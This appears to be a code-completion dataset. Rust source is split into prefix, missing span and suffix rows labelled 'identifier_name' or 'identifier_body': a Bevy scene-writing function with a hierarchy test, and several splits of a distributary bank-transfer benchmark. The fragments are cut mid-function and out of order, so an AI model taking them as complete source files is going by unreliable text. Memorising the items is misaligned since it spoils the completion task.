builder.extract_resources();
builder.build()
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the provided [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) or [`Resource`](bevy_ecs::prelude::Resource) trait.
pub fn write_to_world_with(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
type_registry: &AppTypeRegistry,
) -> Result<(), SceneSpawnError> {
let type_registry = type_registry.read();
for resource in &self.resources {
let registration = type_registry
.get_with_name(resource.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: resource.type_name().to_string(),
})?;
let reflect_resource = registration.data::<ReflectResource>().ok_or_else(|| {
SceneSpawnError::UnregisteredResource {
type_name: resource.type_name().to_string(),
}
})?;
// If the world already contains an instance of the given resource
// just apply the (possibly) new value, otherwise insert the resource
reflect_resource.apply_or_insert(world, &**resource);
}
// For each component types that reference other entities, we keep track
// of which entities in the scene use that component.
// This is so we can update the scene-internal references to references
// of the actual entities in the world.
let mut scene_mappings: HashMap<TypeId, Vec<Entity>> = HashMap::default();
for scene_entity in &self.entities {
// Fetch the entity with the given entity id from the `entity_map`
// or spawn a new entity with a transiently unique id if there is
// no corresponding entry.
let entity = *entity_map
.entry(scene_entity.entity)
.or_insert_with(|| world.spawn_empty().id());
let entity_mut = &mut world.entity_mut(entity);
// Apply/ add each component to the given entity.
for component in &scene_entity.components {
let registration = type_registry
.get_with_name(component.type_name())
.ok_or_else(|| SceneSpawnError::UnregisteredType {
type_name: component.type_name().to_string(),
})?;
let reflect_component =
registration.data::<ReflectComponent>().ok_or_else(|| {
SceneSpawnError::UnregisteredComponent {
type_name: component.type_name().to_string(),
}
})?;
// If this component references entities in the scene, track it
// so we can update it to the entity in the world.
if registration.data::<ReflectMapEntities>().is_some() {
scene_mappings
.entry(registration.type_id())
.or_insert(Vec::new())
.push(entity);
}
// If the entity already has the given component attached,
// just apply the (possibly) new value, otherwise add the
// component to the entity.
reflect_component.apply_or_insert(entity_mut, &**component);
}
}
// Updates references to entities in the scene to entities in the world
for (type_id, entities) in scene_mappings.into_iter() {
let registration = type_registry.get(type_id).expect(
"we should be getting TypeId from this TypeRegistration in the first place",
);
if let Some(map_entities_reflect) = registration.data::<ReflectMapEntities>() {
map_entities_reflect.map_entities(world, entity_map, &entities);
}
}
Ok(())
}
/// Write the resources, the dynamic entities, and their corresponding components to the given world.
///
/// This method will return a [`SceneSpawnError`] if a type either is not registered
/// in the world's [`AppTypeRegistry`] resource, or doesn't reflect the
/// [`Component`](bevy_ecs::component::Component) trait.
pub fn write_to_world(
&self,
world: &mut World,
entity_map: &mut HashMap<Entity, Entity>,
) -> Result<(), SceneSpawnError> {
let registry = world.resource::<AppTypeRegistry>().clone();
self.write_to_world_with(world, entity_map, ®istry)
}
// TODO: move to AssetSaver when it is implemented
/// Serialize this dynamic scene into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron(&self, registry: &TypeRegistryArc) -> Result<String, ron::Error> {
serialize_ron(SceneSerializer::new(self, registry))
}
}
/// Serialize a given Rust data structure into rust object notation (ron).
#[cfg(feature = "serialize")]
pub fn serialize_ron<S>(serialize: S) -> Result<String, ron::Error>
where
S: Serialize,
{
let pretty_config = ron::ser::PrettyConfig::default()
.indentor(" ".to_string())
.new_line("\n".to_string());
ron::ser::to_string_pretty(&serialize, pretty_config)
}
#[cfg(test)]
mod tests {
use bevy_ecs::{reflect::AppTypeRegistry, system::Command, world::World};
use bevy_hierarchy::{AddChild, Parent};
use bevy_utils::HashMap;
use crate::dynamic_scene_builder::DynamicSceneBuilder;
#[test]
fn components_not_defined_in_scene_should_not_be_affected_by_scene_entity_map() {
// Testing that scene reloading applies EntityMap correctly to MapEntities components.
// First, we create a simple world with a parent and a child relationship
let mut world = World::new();
world.init_resource::<AppTypeRegistry>();
world
.resource_mut::<AppTypeRegistry>()
.write()
.register::<Parent>();
let original_parent_entity = world.spawn_empty().id();
let original_child_entity = world.spawn_empty().id();
AddChild {
parent: original_parent_entity,
child: original_child_entity,
}
.apply(&mut world);
// We then write this relationship to a new scene, and then write that scene back to the
// world to create another parent and child relationship
let mut scene_builder = DynamicSceneBuilder::from_world(&world);
scene_builder.extract_entity(original_parent_entity);
scene_builder.extract_entity(original_child_entity);
let scene = scene_builder.build();
let mut entity_map = HashMap::default();
scene.write_to_world(&mut world, &mut entity_map).unwrap();
let &from_scene_parent_entity = entity_map.get(&original_parent_entity).unwrap();
let &from_scene_child_entity = entity_map.get(&original_child_entity).unwrap();
// We then add the parent from the scene as a child of the original child
// Hierarchy should look like:
// Original Parent <- Original Child <- Scene Parent <- Scene Child
AddChild {
parent: original_child_entity,
child: from_scene_parent_entity,
}
.apply(&mut world);
// We then reload the scene to make sure that from_scene_parent_entity's parent component
// isn't updated with the entity map, since this component isn't defined in the scene.
// With bevy_hierarchy, this can cause serious errors and malformed hierarchies.
scene.write_to_world(&mut world, &mut entity_map).unwrap();
assert_eq!(
original_parent_entity,
world
.get_entity(original_child_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching entities with the same scene Ids"
);
assert_eq!(
original_child_entity,
world
.get_entity(from_scene_parent_entity)
.unwrap()
.get::<Parent>()
.unwrap()
.get(),
"something about reloading the scene is touching components not defined in the scene but on entities defined in the scene"
);
assert_eq!(
from_scene_parent_entity,
world
.get_entity(from_scene_child_entity)
.unwrap()
.get::<Parent>()
.expect("something is wrong with this test, and the scene components don't have a parent/child relationship")
.get(),
"something is wrong with the this test or the code reloading scenes since the relationship between scene entities is broken"
);
}
}
| DynamicEntity | identifier_name |
bank.rs | #[macro_use]
extern crate clap;
extern crate rand;
extern crate distributary;
use std::sync;
use std::thread;
use std::time;
use std::collections::HashMap;
use distributary::{Blender, Base, Aggregation, JoinBuilder, Datas, DataType, Token, Mutator};
use rand::Rng;
extern crate hdrsample;
use hdrsample::Histogram;
#[allow(dead_code)]
type Put = Box<Fn(Vec<DataType>) + Send + 'static>;
type TxPut = Box<Fn(Vec<DataType>, Token) -> Result<i64, ()> + Send + 'static>;
#[allow(dead_code)]
type Get = Box<Fn(&DataType) -> Result<Datas, ()> + Send + Sync>;
type TxGet = Box<Fn(&DataType) -> Result<(Datas, Token), ()> + Send + Sync>;
const NANOS_PER_SEC: u64 = 1_000_000_000;
macro_rules! dur_to_ns {
($d:expr) => {{
let d = $d;
d.as_secs() * NANOS_PER_SEC + d.subsec_nanos() as u64
}}
}
#[cfg_attr(rustfmt, rustfmt_skip)]
const BENCH_USAGE: &'static str = "\
EXAMPLES:
bank --avg";
pub struct Bank {
transfers: Vec<Mutator>,
balances: sync::Arc<Option<TxGet>>,
migrate: Box<FnMut()>,
}
pub fn setup(num_putters: usize) -> Box<Bank> {
// set up graph
let mut g = Blender::new();
let transfers;
let credits;
let debits;
let balances;
let (_, balancesq) = {
// migrate
let mut mig = g.start_migration();
// add transfers base table
transfers = mig.add_ingredient("transfers",
&["src_acct", "dst_acct", "amount"],
Base::default());
// add all debits
debits = mig.add_ingredient("debits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[0]));
// add all credits
credits = mig.add_ingredient("credits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[1]));
// add join of credits and debits; this is a hack as we don't currently have multi-parent
// aggregations or arithmetic on columns.
let j2 = JoinBuilder::new(vec![(credits, 0), (credits, 1), (debits, 1)])
.from(credits, vec![1, 0])
.join(debits, vec![1, 0]);
balances = mig.add_ingredient("balances", &["acct_id", "credit", "debit"], j2);
let balancesq = Some(mig.transactional_maintain(balances, 0));
let d = mig.add_domain();
mig.assign_domain(transfers, d);
mig.assign_domain(credits, d);
mig.assign_domain(debits, d);
mig.assign_domain(balances, d);
// start processing
(mig.commit(), balancesq)
};
Box::new(Bank {
transfers: (0..num_putters)
.into_iter()
.map(|_| g.get_mutator(transfers))
.collect::<Vec<_>>(),
balances: sync::Arc::new(balancesq),
migrate: Box::new(move || {
let mut mig = g.start_migration();
let identity = mig.add_ingredient("identity",
&["acct_id", "credit", "debit"],
distributary::Identity::new(balances));
let _ = mig.transactional_maintain(identity, 0);
let _ = mig.commit();
}),
})
}
impl Bank {
fn getter(&mut self) -> Box<Getter> {
Box::new(self.balances.clone())
}
fn putter(&mut self) -> Box<Putter> {
let m = self.transfers.pop().unwrap();
let p: TxPut = Box::new(move |u: Vec<DataType>, t: Token| m.transactional_put(u, t));
Box::new(p)
}
}
pub trait Putter: Send {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a>;
}
impl Putter for TxPut {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a> {
Box::new(move |src, dst, amount, token| {
self(vec![src.into(), dst.into(), amount.into()], token.into())
})
}
}
pub trait Getter: Send {
fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a>;
}
impl Getter for sync::Arc<Option<TxGet>> {
fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a> {
Box::new(move |id| {
if let Some(ref g) = *self.as_ref() {
g(&id.into()).map(|(res, token)| {
assert_eq!(res.len(), 1);
res.into_iter().next().map(|row| {
// we only care about the first result
let mut row = row.into_iter();
let _: i64 = row.next().unwrap().into();
let credit: i64 = row.next().unwrap().into();
let debit: i64 = row.next().unwrap().into();
(credit - debit, token)
})
})
} else {
use std::time::Duration;
use std::thread;
// avoid spinning
thread::sleep(Duration::from_secs(1));
Err(())
}
})
}
}
fn populate(naccounts: i64, transfers_put: &mut Box<Putter>) |
fn client(i: usize,
mut transfers_put: Box<Putter>,
balances_get: Box<Getter>,
naccounts: i64,
start: time::Instant,
runtime: time::Duration,
verbose: bool,
cdf: bool,
audit: bool,
transactions: &mut Vec<(i64, i64, i64)>)
-> Vec<f64> {
let mut count = 0;
let mut committed = 0;
let mut aborted = 0;
let mut samples = Histogram::<u64>::new_with_bounds(1, 100000, 3).unwrap();
let mut last_reported = start;
let mut throughputs = Vec::new();
let mut t_rng = rand::thread_rng();
let mut sample = || t_rng.gen_range(1, naccounts);
let mut sample_pair = || -> (_, _) {
let dst_acct_rnd_id = sample();
assert!(dst_acct_rnd_id > 0);
let mut src_acct_rnd_id = sample();
while src_acct_rnd_id == dst_acct_rnd_id {
src_acct_rnd_id = sample();
}
assert!(src_acct_rnd_id > 0);
(src_acct_rnd_id, dst_acct_rnd_id)
};
{
let mut get = balances_get.get();
let mut put = transfers_put.transfer();
while start.elapsed() < runtime {
let pair = sample_pair();
let (balance, token) = get(pair.0).unwrap().unwrap();
if verbose {
println!("t{} read {}: {} @ {:#?} (for {})",
i,
pair.0,
balance,
token,
pair.1);
}
// try to make both transfers
{
let mut do_tx = |src, dst, amt, tkn| {
let mut count_result = |res| match res {
Ok(ts) => {
if verbose {
println!("commit @ {}", ts);
}
if audit {
transactions.push((src, dst, amt));
}
committed += 1
}
Err(_) => {
if verbose {
println!("abort");
}
aborted += 1
}
};
if verbose {
println!("trying {} -> {} of {}", src, dst, amt);
}
if cdf {
let t = time::Instant::now();
count_result(put(src, dst, amt, tkn));
let t = (dur_to_ns!(t.elapsed()) / 1000) as i64;
if samples.record(t).is_err() {
println!("failed to record slow put ({}ns)", t);
}
} else {
count_result(put(src, dst, amt, tkn));
}
count += 1;
};
if pair.0 != 0 {
assert!(balance >= 0, format!("{} balance is {}", pair.0, balance));
}
if balance >= 100 {
do_tx(pair.0, pair.1, 100, token);
}
}
// check if we should report
if last_reported.elapsed() > time::Duration::from_secs(1) {
let ts = last_reported.elapsed();
let throughput = count as f64 /
(ts.as_secs() as f64 +
ts.subsec_nanos() as f64 / 1_000_000_000f64);
let commit_rate = committed as f64 / count as f64;
let abort_rate = aborted as f64 / count as f64;
println!("{:?} PUT: {:.2} {:.2} {:.2}",
dur_to_ns!(start.elapsed()),
throughput,
commit_rate,
abort_rate);
throughputs.push(throughput);
last_reported = time::Instant::now();
count = 0;
committed = 0;
aborted = 0;
}
}
if audit {
let mut target_balances = HashMap::new();
for i in 0..naccounts {
target_balances.insert(i as i64, 0);
}
for i in 0i64..(naccounts as i64) {
*target_balances.get_mut(&0).unwrap() -= 999;
*target_balances.get_mut(&i).unwrap() += 999;
}
for &mut (src, dst, amt) in transactions {
*target_balances.get_mut(&src).unwrap() -= amt;
*target_balances.get_mut(&dst).unwrap() += amt;
}
for (account, balance) in target_balances {
assert_eq!(get(account).unwrap().unwrap().0, balance);
}
println!("Audit found no irregularities");
}
}
if cdf {
for (v, p, _, _) in samples.iter_percentiles(1) {
println!("percentile PUT {:.2} {:.2}", v, p);
}
}
throughputs
}
fn main() {
use clap::{Arg, App};
let args = App::new("bank")
.version("0.1")
.about("Benchmarks Soup transactions and reports abort rate.")
.arg(Arg::with_name("avg")
.long("avg")
.takes_value(false)
.help("compute average throughput at the end of benchmark"))
.arg(Arg::with_name("cdf")
.long("cdf")
.takes_value(false)
.help("produce a CDF of recorded latencies for each client at the end"))
.arg(Arg::with_name("naccounts")
.short("a")
.long("accounts")
.value_name("N")
.default_value("5")
.help("Number of bank accounts to prepopulate the database with"))
.arg(Arg::with_name("runtime")
.short("r")
.long("runtime")
.value_name("N")
.default_value("60")
.help("Benchmark runtime in seconds"))
.arg(Arg::with_name("migrate")
.short("m")
.long("migrate")
.value_name("M")
.help("Perform a migration after this many seconds")
.conflicts_with("stage"))
.arg(Arg::with_name("threads")
.short("t")
.long("threads")
.value_name("T")
.default_value("2")
.help("Number of client threads"))
.arg(Arg::with_name("verbose")
.short("v")
.long("verbose")
.takes_value(false)
.help("Verbose (debugging) output"))
.arg(Arg::with_name("audit")
.short("A")
.long("audit")
.takes_value(false)
.help("Audit results after benchmark completes"))
.after_help(BENCH_USAGE)
.get_matches();
let avg = args.is_present("avg");
let cdf = args.is_present("cdf");
let runtime = time::Duration::from_secs(value_t_or_exit!(args, "runtime", u64));
let migrate_after = args.value_of("migrate")
.map(|_| value_t_or_exit!(args, "migrate", u64))
.map(time::Duration::from_secs);
let naccounts = value_t_or_exit!(args, "naccounts", i64);
let nthreads = value_t_or_exit!(args, "threads", usize);
let verbose = args.is_present("verbose");
let audit = args.is_present("audit");
if let Some(ref migrate_after) = migrate_after {
assert!(migrate_after < &runtime);
}
// setup db
println!("Attempting to set up bank");
let mut bank = setup(nthreads);
// let system settle
// thread::sleep(time::Duration::new(1, 0));
let start = time::Instant::now();
// benchmark
let clients = (0..nthreads)
.into_iter()
.map(|i| {
Some({
let mut transfers_put = bank.putter();
let balances_get: Box<Getter> = bank.getter();
let mut transactions = vec![];
if i == 0 {
populate(naccounts, &mut transfers_put);
}
thread::Builder::new()
.name(format!("bank{}", i))
.spawn(move || -> Vec<f64> {
client(i,
transfers_put,
balances_get,
naccounts,
start,
runtime,
verbose,
cdf,
audit,
&mut transactions)
})
.unwrap()
})
})
.collect::<Vec<_>>();
let avg_put_throughput = |th: Vec<f64>| if avg {
let sum: f64 = th.iter().sum();
println!("avg PUT: {:.2}", sum / th.len() as f64);
};
if let Some(duration) = migrate_after {
thread::sleep(duration);
println!("----- starting migration -----");
let start = time::Instant::now();
(bank.migrate)();
let duration = start.elapsed();
let length = 1000000000u64 * duration.as_secs() + duration.subsec_nanos() as u64;
println!("----- completed migration -----\nElapsed time = {} ms",
1e-6 * (length as f64));
}
// clean
for c in clients {
if let Some(client) = c {
match client.join() {
Err(e) => panic!(e),
Ok(th) => avg_put_throughput(th),
}
}
}
}
| {
// prepopulate non-transactionally (this is okay because we add no accounts while running the
// benchmark)
println!("Connected. Setting up {} accounts.", naccounts);
{
// let accounts_put = bank.accounts.as_ref().unwrap();
let mut money_put = transfers_put.transfer();
for i in 0..naccounts {
// accounts_put(vec![DataType::Number(i as i64), format!("user {}", i).into()]);
money_put(0, i, 1000, Token::empty()).unwrap();
money_put(i, 0, 1, Token::empty()).unwrap();
}
}
println!("Done with account creation");
} | identifier_body |
bank.rs | #[macro_use]
extern crate clap;
extern crate rand;
extern crate distributary;
use std::sync;
use std::thread;
use std::time;
use std::collections::HashMap;
use distributary::{Blender, Base, Aggregation, JoinBuilder, Datas, DataType, Token, Mutator};
use rand::Rng;
extern crate hdrsample;
use hdrsample::Histogram;
#[allow(dead_code)]
type Put = Box<Fn(Vec<DataType>) + Send + 'static>;
type TxPut = Box<Fn(Vec<DataType>, Token) -> Result<i64, ()> + Send + 'static>;
#[allow(dead_code)]
type Get = Box<Fn(&DataType) -> Result<Datas, ()> + Send + Sync>;
type TxGet = Box<Fn(&DataType) -> Result<(Datas, Token), ()> + Send + Sync>;
const NANOS_PER_SEC: u64 = 1_000_000_000;
macro_rules! dur_to_ns {
($d:expr) => {{
let d = $d;
d.as_secs() * NANOS_PER_SEC + d.subsec_nanos() as u64
}}
}
#[cfg_attr(rustfmt, rustfmt_skip)]
const BENCH_USAGE: &'static str = "\
EXAMPLES:
bank --avg";
pub struct Bank {
transfers: Vec<Mutator>,
balances: sync::Arc<Option<TxGet>>,
migrate: Box<FnMut()>,
}
pub fn setup(num_putters: usize) -> Box<Bank> {
// set up graph
let mut g = Blender::new();
let transfers;
let credits;
let debits;
let balances;
let (_, balancesq) = {
// migrate
let mut mig = g.start_migration();
// add transfers base table
transfers = mig.add_ingredient("transfers",
&["src_acct", "dst_acct", "amount"],
Base::default());
// add all debits
debits = mig.add_ingredient("debits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[0]));
// add all credits
credits = mig.add_ingredient("credits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[1]));
// add join of credits and debits; this is a hack as we don't currently have multi-parent
// aggregations or arithmetic on columns.
let j2 = JoinBuilder::new(vec![(credits, 0), (credits, 1), (debits, 1)])
.from(credits, vec![1, 0])
.join(debits, vec![1, 0]);
balances = mig.add_ingredient("balances", &["acct_id", "credit", "debit"], j2);
let balancesq = Some(mig.transactional_maintain(balances, 0));
let d = mig.add_domain();
mig.assign_domain(transfers, d);
mig.assign_domain(credits, d);
mig.assign_domain(debits, d);
mig.assign_domain(balances, d);
// start processing
(mig.commit(), balancesq)
};
Box::new(Bank {
transfers: (0..num_putters)
.into_iter()
.map(|_| g.get_mutator(transfers))
.collect::<Vec<_>>(),
balances: sync::Arc::new(balancesq),
migrate: Box::new(move || {
let mut mig = g.start_migration();
let identity = mig.add_ingredient("identity",
&["acct_id", "credit", "debit"],
distributary::Identity::new(balances));
let _ = mig.transactional_maintain(identity, 0);
let _ = mig.commit();
}),
})
}
impl Bank {
fn getter(&mut self) -> Box<Getter> {
Box::new(self.balances.clone())
}
fn putter(&mut self) -> Box<Putter> {
let m = self.transfers.pop().unwrap();
let p: TxPut = Box::new(move |u: Vec<DataType>, t: Token| m.transactional_put(u, t));
Box::new(p)
}
}
pub trait Putter: Send {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a>;
}
impl Putter for TxPut {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a> {
Box::new(move |src, dst, amount, token| {
self(vec![src.into(), dst.into(), amount.into()], token.into())
})
}
}
pub trait Getter: Send {
fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a>;
}
impl Getter for sync::Arc<Option<TxGet>> {
fn get<'a>(&'a self) -> Box<FnMut(i64) -> Result<Option<(i64, Token)>, ()> + 'a> {
Box::new(move |id| {
if let Some(ref g) = *self.as_ref() {
g(&id.into()).map(|(res, token)| {
assert_eq!(res.len(), 1);
res.into_iter().next().map(|row| {
// we only care about the first result
let mut row = row.into_iter();
let _: i64 = row.next().unwrap().into();
let credit: i64 = row.next().unwrap().into();
let debit: i64 = row.next().unwrap().into();
(credit - debit, token)
})
})
} else {
use std::time::Duration;
use std::thread;
// avoid spinning
thread::sleep(Duration::from_secs(1));
Err(())
}
})
}
}
fn | (naccounts: i64, transfers_put: &mut Box<Putter>) {
// prepopulate non-transactionally (this is okay because we add no accounts while running the
// benchmark)
println!("Connected. Setting up {} accounts.", naccounts);
{
// let accounts_put = bank.accounts.as_ref().unwrap();
let mut money_put = transfers_put.transfer();
for i in 0..naccounts {
// accounts_put(vec![DataType::Number(i as i64), format!("user {}", i).into()]);
money_put(0, i, 1000, Token::empty()).unwrap();
money_put(i, 0, 1, Token::empty()).unwrap();
}
}
println!("Done with account creation");
}
fn client(i: usize,
mut transfers_put: Box<Putter>,
balances_get: Box<Getter>,
naccounts: i64,
start: time::Instant,
runtime: time::Duration,
verbose: bool,
cdf: bool,
audit: bool,
transactions: &mut Vec<(i64, i64, i64)>)
-> Vec<f64> {
let mut count = 0;
let mut committed = 0;
let mut aborted = 0;
let mut samples = Histogram::<u64>::new_with_bounds(1, 100000, 3).unwrap();
let mut last_reported = start;
let mut throughputs = Vec::new();
let mut t_rng = rand::thread_rng();
let mut sample = || t_rng.gen_range(1, naccounts);
let mut sample_pair = || -> (_, _) {
let dst_acct_rnd_id = sample();
assert!(dst_acct_rnd_id > 0);
let mut src_acct_rnd_id = sample();
while src_acct_rnd_id == dst_acct_rnd_id {
src_acct_rnd_id = sample();
}
assert!(src_acct_rnd_id > 0);
(src_acct_rnd_id, dst_acct_rnd_id)
};
{
let mut get = balances_get.get();
let mut put = transfers_put.transfer();
while start.elapsed() < runtime {
let pair = sample_pair();
let (balance, token) = get(pair.0).unwrap().unwrap();
if verbose {
println!("t{} read {}: {} @ {:#?} (for {})",
i,
pair.0,
balance,
token,
pair.1);
}
// try to make both transfers
{
let mut do_tx = |src, dst, amt, tkn| {
let mut count_result = |res| match res {
Ok(ts) => {
if verbose {
println!("commit @ {}", ts);
}
if audit {
transactions.push((src, dst, amt));
}
committed += 1
}
Err(_) => {
if verbose {
println!("abort");
}
aborted += 1
}
};
if verbose {
println!("trying {} -> {} of {}", src, dst, amt);
}
if cdf {
let t = time::Instant::now();
count_result(put(src, dst, amt, tkn));
let t = (dur_to_ns!(t.elapsed()) / 1000) as i64;
if samples.record(t).is_err() {
println!("failed to record slow put ({}ns)", t);
}
} else {
count_result(put(src, dst, amt, tkn));
}
count += 1;
};
if pair.0 != 0 {
assert!(balance >= 0, format!("{} balance is {}", pair.0, balance));
}
if balance >= 100 {
do_tx(pair.0, pair.1, 100, token);
}
}
// check if we should report
if last_reported.elapsed() > time::Duration::from_secs(1) {
let ts = last_reported.elapsed();
let throughput = count as f64 /
(ts.as_secs() as f64 +
ts.subsec_nanos() as f64 / 1_000_000_000f64);
let commit_rate = committed as f64 / count as f64;
let abort_rate = aborted as f64 / count as f64;
println!("{:?} PUT: {:.2} {:.2} {:.2}",
dur_to_ns!(start.elapsed()),
throughput,
commit_rate,
abort_rate);
throughputs.push(throughput);
last_reported = time::Instant::now();
count = 0;
committed = 0;
aborted = 0;
}
}
if audit {
let mut target_balances = HashMap::new();
for i in 0..naccounts {
target_balances.insert(i as i64, 0);
}
for i in 0i64..(naccounts as i64) {
*target_balances.get_mut(&0).unwrap() -= 999;
*target_balances.get_mut(&i).unwrap() += 999;
}
for &mut (src, dst, amt) in transactions {
*target_balances.get_mut(&src).unwrap() -= amt;
*target_balances.get_mut(&dst).unwrap() += amt;
}
for (account, balance) in target_balances {
assert_eq!(get(account).unwrap().unwrap().0, balance);
}
println!("Audit found no irregularities");
}
}
if cdf {
for (v, p, _, _) in samples.iter_percentiles(1) {
println!("percentile PUT {:.2} {:.2}", v, p);
}
}
throughputs
}
fn main() {
use clap::{Arg, App};
let args = App::new("bank")
.version("0.1")
.about("Benchmarks Soup transactions and reports abort rate.")
.arg(Arg::with_name("avg")
.long("avg")
.takes_value(false)
.help("compute average throughput at the end of benchmark"))
.arg(Arg::with_name("cdf")
.long("cdf")
.takes_value(false)
.help("produce a CDF of recorded latencies for each client at the end"))
.arg(Arg::with_name("naccounts")
.short("a")
.long("accounts")
.value_name("N")
.default_value("5")
.help("Number of bank accounts to prepopulate the database with"))
.arg(Arg::with_name("runtime")
.short("r")
.long("runtime")
.value_name("N")
.default_value("60")
.help("Benchmark runtime in seconds"))
.arg(Arg::with_name("migrate")
.short("m")
.long("migrate")
.value_name("M")
.help("Perform a migration after this many seconds")
.conflicts_with("stage"))
.arg(Arg::with_name("threads")
.short("t")
.long("threads")
.value_name("T")
.default_value("2")
.help("Number of client threads"))
.arg(Arg::with_name("verbose")
.short("v")
.long("verbose")
.takes_value(false)
.help("Verbose (debugging) output"))
.arg(Arg::with_name("audit")
.short("A")
.long("audit")
.takes_value(false)
.help("Audit results after benchmark completes"))
.after_help(BENCH_USAGE)
.get_matches();
let avg = args.is_present("avg");
let cdf = args.is_present("cdf");
let runtime = time::Duration::from_secs(value_t_or_exit!(args, "runtime", u64));
let migrate_after = args.value_of("migrate")
.map(|_| value_t_or_exit!(args, "migrate", u64))
.map(time::Duration::from_secs);
let naccounts = value_t_or_exit!(args, "naccounts", i64);
let nthreads = value_t_or_exit!(args, "threads", usize);
let verbose = args.is_present("verbose");
let audit = args.is_present("audit");
if let Some(ref migrate_after) = migrate_after {
assert!(migrate_after < &runtime);
}
// setup db
println!("Attempting to set up bank");
let mut bank = setup(nthreads);
// let system settle
// thread::sleep(time::Duration::new(1, 0));
let start = time::Instant::now();
// benchmark
let clients = (0..nthreads)
.into_iter()
.map(|i| {
Some({
let mut transfers_put = bank.putter();
let balances_get: Box<Getter> = bank.getter();
let mut transactions = vec![];
if i == 0 {
populate(naccounts, &mut transfers_put);
}
thread::Builder::new()
.name(format!("bank{}", i))
.spawn(move || -> Vec<f64> {
client(i,
transfers_put,
balances_get,
naccounts,
start,
runtime,
verbose,
cdf,
audit,
&mut transactions)
})
.unwrap()
})
})
.collect::<Vec<_>>();
let avg_put_throughput = |th: Vec<f64>| if avg {
let sum: f64 = th.iter().sum();
println!("avg PUT: {:.2}", sum / th.len() as f64);
};
if let Some(duration) = migrate_after {
thread::sleep(duration);
println!("----- starting migration -----");
let start = time::Instant::now();
(bank.migrate)();
let duration = start.elapsed();
let length = 1000000000u64 * duration.as_secs() + duration.subsec_nanos() as u64;
println!("----- completed migration -----\nElapsed time = {} ms",
1e-6 * (length as f64));
}
// clean
for c in clients {
if let Some(client) = c {
match client.join() {
Err(e) => panic!(e),
Ok(th) => avg_put_throughput(th),
}
}
}
}
| populate | identifier_name |
bank.rs | #[macro_use]
extern crate clap;
extern crate rand;
extern crate distributary;
use std::sync;
use std::thread;
use std::time;
use std::collections::HashMap;
use distributary::{Blender, Base, Aggregation, JoinBuilder, Datas, DataType, Token, Mutator};
use rand::Rng;
extern crate hdrsample;
use hdrsample::Histogram;
#[allow(dead_code)]
type Put = Box<Fn(Vec<DataType>) + Send + 'static>;
type TxPut = Box<Fn(Vec<DataType>, Token) -> Result<i64, ()> + Send + 'static>;
#[allow(dead_code)]
type Get = Box<Fn(&DataType) -> Result<Datas, ()> + Send + Sync>;
type TxGet = Box<Fn(&DataType) -> Result<(Datas, Token), ()> + Send + Sync>;
const NANOS_PER_SEC: u64 = 1_000_000_000;
macro_rules! dur_to_ns {
($d:expr) => {{
let d = $d;
d.as_secs() * NANOS_PER_SEC + d.subsec_nanos() as u64
}}
}
#[cfg_attr(rustfmt, rustfmt_skip)]
const BENCH_USAGE: &'static str = "\
EXAMPLES:
bank --avg";
pub struct Bank {
transfers: Vec<Mutator>,
balances: sync::Arc<Option<TxGet>>,
migrate: Box<FnMut()>,
}
pub fn setup(num_putters: usize) -> Box<Bank> {
// set up graph
let mut g = Blender::new();
let transfers;
let credits;
let debits;
let balances;
let (_, balancesq) = {
// migrate
let mut mig = g.start_migration();
// add transfers base table
transfers = mig.add_ingredient("transfers",
&["src_acct", "dst_acct", "amount"],
Base::default());
// add all debits
debits = mig.add_ingredient("debits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[0]));
// add all credits
credits = mig.add_ingredient("credits",
&["acct_id", "total"],
Aggregation::SUM.over(transfers, 2, &[1]));
// add join of credits and debits; this is a hack as we don't currently have multi-parent
// aggregations or arithmetic on columns.
let j2 = JoinBuilder::new(vec![(credits, 0), (credits, 1), (debits, 1)])
.from(credits, vec![1, 0])
.join(debits, vec![1, 0]);
balances = mig.add_ingredient("balances", &["acct_id", "credit", "debit"], j2);
let balancesq = Some(mig.transactional_maintain(balances, 0));
let d = mig.add_domain();
mig.assign_domain(transfers, d);
mig.assign_domain(credits, d);
mig.assign_domain(debits, d);
mig.assign_domain(balances, d);
// start processing
(mig.commit(), balancesq)
};
Box::new(Bank {
transfers: (0..num_putters)
.into_iter()
.map(|_| g.get_mutator(transfers))
.collect::<Vec<_>>(),
balances: sync::Arc::new(balancesq),
migrate: Box::new(move || {
let mut mig = g.start_migration();
let identity = mig.add_ingredient("identity",
&["acct_id", "credit", "debit"],
distributary::Identity::new(balances));
let _ = mig.transactional_maintain(identity, 0);
let _ = mig.commit();
}),
})
}
impl Bank {
fn getter(&mut self) -> Box<Getter> {
Box::new(self.balances.clone())
}
fn putter(&mut self) -> Box<Putter> {
let m = self.transfers.pop().unwrap();
let p: TxPut = Box::new(move |u: Vec<DataType>, t: Token| m.transactional_put(u, t));
Box::new(p)
}
}
pub trait Putter: Send {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a>;
}
impl Putter for TxPut {
fn transfer<'a>(&'a mut self) -> Box<FnMut(i64, i64, i64, Token) -> Result<i64, ()> + 'a> {
Box::new(move |src, dst, amount, token| {
self(vec![src.into(), dst.into(), amount.into()], token.into())
})
}
}
pub trait Getter: Send {
